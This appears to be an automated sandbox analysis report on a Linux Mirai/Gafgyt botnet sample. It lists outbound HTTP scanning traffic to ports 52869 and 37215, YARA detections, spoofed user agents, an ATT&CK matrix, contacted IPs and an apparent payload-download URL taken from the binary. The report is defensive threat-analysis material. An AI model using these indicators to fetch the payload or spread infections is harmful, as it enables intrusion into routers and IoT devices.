Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51676 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50856 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37990 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59702 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60326 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42732 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35712 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43780 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34988 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59386 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37534 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42408 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40576 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43216 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55576 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54226 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39500 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58678 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37340 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38040 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33018 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38358 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34756 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42054 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49620 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43624 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58478 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40190 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33998 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40810 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43588 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42052 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35770 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 37215

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: x86.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5489, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5494, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample	User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample	User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample	User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: x86.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5489, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5494, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	1 Remote System Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label
x86.elf	71%	ReversingLabs	Linux.Trojan.Mirai
x86.elf	100%	Avira	EXP/ELF.Mirai.Z
x86.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	x86.elf	false	high
http://212.81.47.208/mips;	x86.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	x86.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	x86.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	x86.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.187.159.154	unknown	Egypt	20928	NOOR-ASEG	false
166.224.170.83	unknown	United States	6614	USCC-ASNUS	false
156.129.84.124	unknown	United States	29975	VODACOM-ZA	false
102.13.129.41	unknown	unknown	37069	MOBINILEG	false
197.51.240.189	unknown	Egypt	8452	TE-ASTE-ASEG	false
24.2.200.10	unknown	United States	7922	COMCAST-7922US	false
197.90.63.228	unknown	South Africa	10474	OPTINETZA	false
201.21.20.22	unknown	Brazil	28573	CLAROSABR	false
156.92.118.101	unknown	United States	10695	WAL-MARTUS	false
197.75.183.158	unknown	South Africa	16637	MTNNS-ASZA	true
156.91.176.124	unknown	United States	10695	WAL-MARTUS	false
156.34.23.164	unknown	Canada	855	CANET-ASN-4CA	false
18.195.151.237	unknown	United States	16509	AMAZON-02US	false
197.141.28.92	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.252.28.232	unknown	Sudan	15706	SudatelSD	false
87.78.71.87	unknown	Germany	8422	NETCOLOGNEDE	false
41.217.127.111	unknown	Nigeria	37340	SpectranetNG	false
41.170.14.44	unknown	South Africa	36937	Neotel-ASZA	false
197.41.205.7	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.89.147.89	unknown	South Africa	10474	OPTINETZA	false
220.241.61.10	unknown	Hong Kong	4515	ERX-STARHKTLimitedHK	false
156.77.103.105	unknown	United States	11286	KEYBANKUS	false
156.97.30.180	unknown	Chile	393504	XNSTGCA	false
177.92.82.74	unknown	Brazil	17222	MundivoxLTDABR	false
156.146.203.240	unknown	United States	1448	UNITED-BROADBANDUS	false
197.12.31.205	unknown	Tunisia	37703	ATLAXTN	false
197.32.129.160	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.139.7.31	unknown	Ghana	35091	TELEDATA-ASTeledataGhanaIL	false
197.113.54.131	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.179.6.175	unknown	Egypt	24863	LINKdotNET-ASEG	false
133.27.156.156	unknown	Japan	38635	KEIO-NETKeioUniversityJP	false
41.122.213.83	unknown	South Africa	16637	MTNNS-ASZA	false
197.237.113.169	unknown	Kenya	15399	WANANCHI-KE	false
1.42.226.94	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
41.6.232.103	unknown	South Africa	29975	VODACOM-ZA	false
54.133.8.83	unknown	United States	14618	AMAZON-AESUS	false
197.179.30.0	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.61.32.138	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
41.97.15.221	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.12.83.178	unknown	South Africa	29975	VODACOM-ZA	false
41.152.25.6	unknown	Egypt	36992	ETISALAT-MISREG	false
41.226.143.30	unknown	Tunisia	37705	TOPNETTN	false
197.252.28.241	unknown	Sudan	15706	SudatelSD	false
197.255.13.196	unknown	Nigeria	35074	COBRANET-ASLB	false
197.160.66.228	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.137.214.158	unknown	Kenya	36914	KENET-ASKE	false
41.252.35.42	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
197.60.132.12	unknown	Egypt	8452	TE-ASTE-ASEG	false
83.19.164.248	unknown	Poland	5617	TPNETPL	false
197.128.32.89	unknown	Morocco	6713	IAM-ASMA	false
156.246.102.225	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
58.187.188.247	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
156.134.58.80	unknown	United States	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
156.203.180.112	unknown	Egypt	8452	TE-ASTE-ASEG	false
201.184.41.46	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
197.185.70.93	unknown	South Africa	37105	NEOLOGY-ASZA	false
156.61.32.158	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
197.42.235.238	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.5.249.128	unknown	Tunisia	5438	ATI-TN	false
156.65.187.69	unknown	United States	26960	MICHELIN-NORTH-AMERICA-I1US	false
143.41.181.109	unknown	United Kingdom	11003	PANDGUS	false
136.115.97.197	unknown	United States	15169	GOOGLEUS	false
156.110.146.107	unknown	United States	16922	OUHSC-EDUUS	false
115.114.150.187	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
197.16.172.172	unknown	Tunisia	37693	TUNISIANATN	false
197.30.226.30	unknown	Tunisia	37492	ORANGE-TN	false
156.63.125.62	unknown	United States	19902	NET-STATE-OHIOUS	false
197.44.77.128	unknown	Egypt	8452	TE-ASTE-ASEG	false
111.105.27.141	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
197.153.85.55	unknown	Morocco	36925	ASMediMA	false
156.0.172.175	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
197.190.151.195	unknown	Ghana	37140	zain-asGH	false
